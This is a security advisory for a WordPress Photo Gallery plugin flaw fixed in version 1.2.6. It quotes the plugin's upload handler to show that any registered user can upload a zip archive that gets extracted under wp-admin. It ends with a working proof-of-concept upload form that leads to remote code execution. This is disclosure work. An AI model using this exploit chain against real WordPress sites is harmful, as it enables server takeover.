UploadHandler.php
is accessible through admin-ajax.php
because of:
File: photo-gallery\photo-gallery.php
add_action('wp_ajax_bwg_UploadHandler', 'bwg_UploadHandler');
function bwg_UploadHandler() {
require_once(WD_BWG_DIR . '/filemanager/UploadHandler.php');
}
Every registered user (even Subscriber) can access this functionality see WordPress Roles and Capabilities:
File: photo-gallery\filemanager\UploadHandler.php
if (function_exists('current_user_can')) {
if (!current_user_can('read')) {
die('Access Denied');
}
}
else {
die('Access Denied');
}
We can access post()
method:
File: photo-gallery\filemanager\UploadHandler.php
protected function initialize() {
switch ($_SERVER['REQUEST_METHOD']) {
case 'OPTIONS':
case 'HEAD':
$this->head();
break;
case 'GET':
$this->get();
break;
case 'PATCH':
case 'PUT':
case 'POST':
$this->post();
break;
case 'DELETE':
$this->delete();
break;
default:
$this->header('HTTP/1.1 405 Method Not Allowed');
}
}
post()
method handles file upload:
File: photo-gallery\filemanager\UploadHandler.php
public function post($print_response = true) {
if (isset($_REQUEST['_method']) && $_REQUEST['_method'] === 'DELETE') {
return $this->delete($print_response);
}
$upload = isset($_FILES[$this->options['param_name']]) ? $_FILES[$this->options['param_name']] : null;
$files = array();
// Parse the Content-Disposition header, if available:
$file_name = isset($_SERVER['HTTP_CONTENT_DISPOSITION']) ? rawurldecode(preg_replace(
'/(^[^"]+")|("$)/',
'',
$_SERVER['HTTP_CONTENT_DISPOSITION']
)) : null;
// Parse the Content-Range header, which has the following form:
// Content-Range: bytes 0-524287/2000000
$content_range = isset($_SERVER['HTTP_CONTENT_RANGE']) ? preg_split('/[^0-9]+/', $_SERVER['HTTP_CONTENT_RANGE']) : null;
$size = $content_range ? $content_range[3] : null;
if ($upload && is_array($upload['tmp_name'])) {
// param_name is an array identifier like "files[]",
// $_FILES is a multi-dimensional array:
foreach ($upload['tmp_name'] as $index => $value) {
$files[] = $this->handle_file_upload(
$upload['tmp_name'][$index],
$file_name ? $file_name : $upload['name'][$index],
$size ? $size : $upload['size'][$index],
$upload['type'][$index],
$upload['error'][$index],
$index,
$content_range
);
}
}
}
We cannot upload .php
files but we can .zip
:
File: photo-gallery\filemanager\UploadHandler.php
$upload_handler = new UploadHandler(array(
'upload_dir' => $_GET['dir'],
'accept_file_types' => '/\.(gif|jpe?g|png|bmp|mp4|flv|webm|ogg|mp3|wav|pdf|zip)$/i'
));
protected function validate($uploaded_file, $file, $error, $index) {
if ($error) {
$file->error = $this->get_error_message($error);
return false;
}
$content_length = $this->fix_integer_overflow(intval($_SERVER['CONTENT_LENGTH']));
$post_max_size = $this->get_config_bytes(ini_get('post_max_size'));
if ($post_max_size && ($content_length > $post_max_size)) {
$file->error = $this->get_error_message('post_max_size');
return false;
}
if (!preg_match($this->options['accept_file_types'], $file->name)) {
$file->error = $this->get_error_message('accept_file_types');
return false;
}
}
protected function handle_file_upload($uploaded_file, $name, $size, $type, $error, $index = null, $content_range = null) {
$file = new stdClass();
$file->name = $this->get_file_name($name, $type, $index, $content_range);
$file->size = $this->fix_integer_overflow(intval($size));
$file->type = $type;
if ($this->validate($uploaded_file, $file, $error, $index)) {
$this->handle_form_data($file, $index);
$upload_dir = $this->get_upload_path();
if (!is_dir($upload_dir)) {
mkdir($upload_dir, $this->options['mkdir_mode'], true);
}
$file_path = $this->get_upload_path($file->name);
$append_file = $content_range && is_file($file_path) && $file->size > $this->get_file_size($file_path);
if ($uploaded_file && is_uploaded_file($uploaded_file)) {
// multipart/formdata uploads (POST method uploads)
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, 'r'),
FILE_APPEND
);
}
else {
move_uploaded_file($uploaded_file, $file_path);
}
}
else {
// Non-multipart uploads (PUT method support)
file_put_contents(
$file_path,
fopen('php://input', 'r'),
$append_file ? FILE_APPEND : 0
);
}
$file_size = $this->get_file_size($file_path, $append_file);
if ($file_size === $file->size) {
if ($this->options['max_width'] && $this->options['max_height']) {
// Upload.
$this->create_scaled_image($file->name, 'main', $this->options);
}
$file->url = $this->get_download_url($file->name);
list($img_width, $img_height) = @getimagesize(htmlspecialchars_decode($file_path, ENT_COMPAT | ENT_QUOTES));
if (is_int($img_width)) {
$this->handle_image_file($file_path, $file);
}
else {
$this->handle_zip_file($file_path, $file);
}
}
else {
$file->size = $file_size;
if (!$content_range && $this->options['discard_aborted_uploads']) {
unlink($file_path);
$file->error = 'abort';
}
}
$this->set_file_delete_properties($file);
}
return $file;
}
Zip files are extracted, so we can put .php
files there:
File: photo-gallery\filemanager\UploadHandler.php
protected function handle_zip_file($file_path, $file) {
$zip = new ZipArchive;
$res = $zip->open($file_path);
if ($res === TRUE) {
$target_dir = substr($file_path, 0, strlen($file_path) - 4);
if (!is_dir($target_dir)) {
mkdir($target_dir, 0777);
}
$zip->extractTo($target_dir);
$zip->close();
$this->handle_directory($target_dir);
}
}
Proof of Concept
Login as regular user (created using wp-login.php?action=register).
Pack .php
files into .zip
archive then send it using:
<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php?action=bwg_UploadHandler&dir=rce/" enctype="multipart/form-data">
<input type="file" name="files">
<input type="submit" value="Hack!">
</form>
Your files will be visible inside:
http://wordpress-install/wp-admin/rce/
Timeline
- 11-11-2014: Discovered
- 11-11-2014: Vendor notified
- 17-11-2014: Version 1.2.6 released, issue resolved